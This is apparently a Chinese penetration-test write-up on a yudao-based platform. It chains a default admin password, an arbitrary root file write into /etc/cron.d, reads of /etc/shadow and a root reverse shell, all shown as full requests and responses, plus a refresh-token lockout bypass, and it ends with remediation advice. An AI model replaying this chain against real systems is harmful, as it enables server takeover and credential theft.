一个默认口令,一路走到 root:某平台 RCE 实录
原创
炫彩之星
炫彩之星
菜鸟学安全
2026年10月19日 08:00
广东
去阅读
很多人看到“默认口令”四个字,下意识反应是:这也算漏洞?上线前改掉不就行了。可在真实的攻防里,一个没改的默认口令,往往不是收尾的小问题,而是整条攻击链的起点。这次的目标是一套xx平台,业务上关联xx、案件与个人信息;而我们从登录框走到 root shell,中间没有零日,靠的也不是什么高深技巧——真正起作用的,是几个本该被拦住的配置问题。
在某地的一次攻防项目中,我们发现某xx平台(xx.xx.xx.xx:28806)存在默认口令→任意文件写→root 远程命令执行、refresh-token 绕过账户锁定等 2 项高危漏洞。目标服务器已被完全控制,攻击者取得 root 权限。
本次对目标地区的资产开展渗透测试,共发现高危漏洞 2 个,漏洞情况如下表:
| 序号 | 系统名称 | 漏洞名称 | 漏洞数量 | 漏洞影响 | 漏洞级别 |
| 1 | https://xx.xx.xx.xx:28806/api/admin-api/system/auth/login → file-config/create → file/upload 系统:某xx平台 | root RCE | 1 | 默认口令直达 root 完全控制,并据此导出全量凭据,是后续横向攻击的起点。 | 高危 |
| 2 | https://xx.xx.xx.xx:28806/api/admin-api/system/auth/refresh-token 系统:某xx平台 | refresh-token 绕过账户锁定 | 1 | 账号锁定后仍可无限续签超管会话,使锁定与应急响应失效。 | 高危 |
任意文件写 → root RCE
漏洞描述
资产详情:https://xx.xx.xx.xx:28806
系统名称:某xx平台
漏洞地址:① POST https://xx.xx.xx.xx:28806/api/admin-api/system/auth/login
② file-config/create → file/upload?path=etc/cron.d/artexrce
漏洞说明:yudao 框架默认超管口令 admin/adxx3 未修改,攻击者无需任何前置认证即可登录并取得超管会话;infra/file-config 可新建 basePath=/ 的 Local 存储,infra/file/upload 的 path 参数可写任意绝对路径(以 root 身份落盘)。
危害:攻击者可完全控制某xx平台及其所在服务器。该主机同时承载 Go 业务平台、Spring 业务接口、MySQL、PG、Redis 与 FTP 等多套服务,一旦失陷,业务数据、数据库凭据与主机权限将一并暴露。
https://xx.xx.xx.xx:28806/#/
默认超管口令 admin/adxx3登录。
https://xx.xx.xx.xx:28806/#/pages/login/index?type=2
成功登录后台页面。
复现过程(完整利用链):
# ① 默认口令登录 → 超管会话
【请求包】
POST /api/admin-api/system/auth/login HTTP/1.1
Host: xx.xx.xx.xx:28806
tenant-id: 1
Content-Type: application/json
{
\"username\": \"admin\",
\"password\": \"adxx3\"
}
【响应包】
HTTP/1.1 200 OK
Content-Type: application/json
{
\"code\": 200,
\"data\": {
\"userId\": 1,
\"accessToken\": \"xxxxxxxx\",
\"refreshToken\": \"xxxxxxxx\",
\"expiresTime\": 1789820397680
},
\"msg\": \"\"
}
# 超管会话核验(get-permission-info)
【请求包】
GET /api/admin-api/system/auth/get-permission-info HTTP/1.1
Host: xx.xx.xx.xx:28806
tenant-id: 1
Authorization: Bearer xxxxxxxx
【响应包】
HTTP/1.1 200 OK
{
\"code\": 200,
\"data\": {
\"user\": { \"id\": 1, \"username\": \"admin\", \"mobile\": \"150xxxxxxxx\" },
\"roles\": [ { \"id\": 1, \"name\": \"超级管理员\" } ]
},
\"msg\": \"\"
}
# ② 建 Local 存储配置(basePath=/)并设为 master
【响应包】
HTTP/1.1 200 OK
{
\"code\": 200,
\"data\": \"2101xxxxxxxx0433\",
\"msg\": \"\"
}
【请求包(设为 master)】
PUT /api/admin-api/infra/file-config/update-master?id=2101xxxxxxxx0433 HTTP/1.1
Host: xx.xx.xx.xx:28806
Authorization: Bearer xxxxxxxx
【响应包】
HTTP/1.1 200 OK
{
\"code\": 200,
\"data\": true,
\"msg\": \"\"
}
# ③ 写 cron 到绝对路径(以 root 落盘;对照:upload 无 token 返回 401「账号未登录」)
【请求包】
POST /api/admin-api/infra/file/upload?path=etc/cron.d/artexrce HTTP/1.1
Host: xx.xx.xx.xx:28806
Authorization: Bearer xxxxxxxx
Content-Type: multipart/form-data; boundary=----X
------X
Content-Disposition: form-data; name=\"file\"; filename=\"c.txt\"
* * * * * root /bin/bash -c 'echo ARTEX_RCE_START; id; uname -a; hostname' > /tmp/artex_rce_proof 2>1
------X--
【响应包】
HTTP/1.1 200 OK
{
\"code\": 200,
\"data\": \"http://127.0.0.1/admin-api/infra/file/2101xxxxxxxx0433/get/etc/cron.d/artexrce\",
\"msg\": \"\"
}
# ④ 约 xx 秒后回读 root 执行结果(get/** 为 permitAll,不带任何请求头)
curl -sk \"https://xx.xx.xx.xx:28806/api/admin-api/infra/file/2101xxxxxxxx0433/get/tmp/artex_rce_proof\"
# ⑤ 同一未授权读原语直读服务器敏感文件
curl -sk \"https://xx.xx.xx.xx:28806/api/admin-api/infra/file/2101xxxxxxxx0433/get/etc/shadow\"
curl -sk \"https://xx.xx.xx.xx:28806/api/admin-api/infra/file/2101xxxxxxxx0433/get/root/.bash_history\"
【响应包 ④】HTTP/1.1 200 OK
uid=0(root) gid=0(root) groups=0(root)
Linux localhost.localdomain 4.19.0-91.82.179.uelc20.x86_64 #1 SMP Mon Apr 22 16:58:08 CST 2024 x86_64 x86_64 x86_64 GNU/Linux
localhost.localdomain
成功获取 root 反弹 Shell。
tmux kill-session -t xx; cd /root/xx-rce & python3 listener.py 1234
[*] listening 0.0.0.0:1234
─────────────── ⑤ 回连与执行(VPS 监听侧记录) ─────────────
[+] xx.xx.xx.xx:45264 connected -> sessions/rs-202610xx-232638-xx.xx.xx.xx.log
bash: cannot set terminal process group (2899073): Inappropriate ioctl for device
bash: no job control in this shell
Welcome to 4.19.0-91.82.179.uelc20.x86_64
[root@localhost ]#
已执行验证(会话内):
uid=0(root) gid=0(root) groups=0(root)
【响应包 ⑤】HTTP/1.1 200 OK(/etc/shadow 实测回读,首行 root 口令哈希)
root:xxxxxxxx
bin:*:19488:0:99999:7:
daemon:*:19488:0:99999:7:
…(共 xx 字节)
# 另实测可读:root/.bash_history(xx 字节,含 MySQL 连接明文口令)
# 应用配置文件 application-prod.yaml(xx 字节,含 MySQL / Redis / FTP / 微信 明文口令与密钥)
refresh-token 绕过账户锁定
漏洞描述
资产详情:https://xx.xx.xx.xx:28806
系统名称:某xx平台
漏洞地址:POST https://xx.xx.xx.xx:28806/api/admin-api/system/auth/refresh-token?refreshToken=…
漏洞说明:账号锁定仅拦截「密码登录」,未吊销已签发的 refresh token,导致锁定无法真正中断攻击者的会话。
危害:yudao 账户锁定机制失效,攻击者可在账号被锁定后持续续签超管会话,使封禁与应急响应措施形同虚设。
复现过程(完整利用链):
# 前置:账号已锁定(登录返回 1002000008「账户已被锁定」)
【请求包】
POST /api/admin-api/system/auth/refresh-token?refreshToken=xxxxxxxx HTTP/1.1
Host: xx.xx.xx.xx:28806
tenant-id: 1
【响应包】
HTTP/1.1 200 OK
{
\"code\": 200,
\"data\": {
\"userId\": 1,
\"accessToken\": \"xxxxxxxx\"
}
}
# 新令牌可用:GET /admin-api/infra/file-config/page -H 'Authorization: Bearer xxxxxxxx' → 200
写在最后
复盘整条链路,真正致命的地方并不是某个“高级漏洞”,而是几个再普通不过的配置问题被串在了一起:默认口令没有改,超管会话直接到手;文件配置允许把 basePath 指向根目录;上传接口的 path 没有做归一化,应用又以 root 身份运行。这些环节里只要有一个被拦住,root shell 都不会出现。
另一个漏洞更值得警惕:账号锁定只拦住了密码登录,却没有吊销已经签发的 refresh token。对运营方来说,“锁定”并不等于“断线”;对攻击者来说,只要拿到过有效令牌,锁定就只是一句提示。修复方向其实不复杂:清掉默认口令、应用降权运行、上传路径做根目录限制,并在锁定时同步吊销 refresh token。
渗透测试的意义,不是证明我们能打进去,而是证明一条本不该存在的路确实存在。把这条路上的每一环补上,比事后追着一个 root shell 更有价值。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论